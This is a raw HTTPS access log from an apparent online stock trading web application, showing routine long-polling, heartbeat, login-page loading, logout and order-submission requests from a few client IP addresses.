[09/Jan/2026:15:54:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945565468 HTTP/1.1" -
[09/Jan/2026:15:54:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945569490 HTTP/1.1" -
[09/Jan/2026:15:55:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945570495 HTTP/1.1" -
[09/Jan/2026:15:55:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945574532 HTTP/1.1" -
[09/Jan/2026:15:55:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945575522 HTTP/1.1" -
[09/Jan/2026:15:55:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 299
[09/Jan/2026:15:55:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945579669 HTTP/1.1" -
[09/Jan/2026:15:55:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945580572 HTTP/1.1" -
[09/Jan/2026:15:55:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:55:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945584806 HTTP/1.1" -
[09/Jan/2026:15:55:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945585603 HTTP/1.1" -
[09/Jan/2026:15:55:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:55:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945589878 HTTP/1.1" -
[09/Jan/2026:15:55:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945590645 HTTP/1.1" -
[09/Jan/2026:15:55:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945595000 HTTP/1.1" -
[09/Jan/2026:15:55:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945595691 HTTP/1.1" -
[09/Jan/2026:15:55:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:55:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 333
[09/Jan/2026:15:55:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945600129 HTTP/1.1" -
[09/Jan/2026:15:55:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945600738 HTTP/1.1" -
[09/Jan/2026:15:55:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945605761 HTTP/1.1" -
[09/Jan/2026:15:55:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945605179 HTTP/1.1" -
[09/Jan/2026:15:55:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:55:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:15:55:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945610791 HTTP/1.1" -
[09/Jan/2026:15:55:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945610334 HTTP/1.1" -
[09/Jan/2026:15:55:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:55:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:15:55:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945615828 HTTP/1.1" -
[09/Jan/2026:15:55:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945615456 HTTP/1.1" -
[09/Jan/2026:15:55:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:55:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/LogoutAA.jsp HTTP/1.1" 12
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Logout HTTP/1.1" 1
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:15:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767945619266 HTTP/1.1" 3188
[09/Jan/2026:15:55:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:15:55:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945620864 HTTP/1.1" -
[09/Jan/2026:15:55:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945625889 HTTP/1.1" -
[09/Jan/2026:15:55:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:55:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:56:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 3
[09/Jan/2026:15:56:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945630913 HTTP/1.1" -
[09/Jan/2026:15:56:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945635998 HTTP/1.1" -
[09/Jan/2026:15:56:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:56:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945641057 HTTP/1.1" -
[09/Jan/2026:15:56:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:56:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945646079 HTTP/1.1" -
[09/Jan/2026:15:56:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945651098 HTTP/1.1" -
[09/Jan/2026:15:56:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945656145 HTTP/1.1" -
[09/Jan/2026:15:56:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:56:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945661202 HTTP/1.1" -
[09/Jan/2026:15:56:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945666230 HTTP/1.1" -
[09/Jan/2026:15:56:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:56:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:56:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1228
[09/Jan/2026:15:56:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=619861B8C8D9FA72EC28DE534924D618 HTTP/1.1" 1022
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:15:56:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
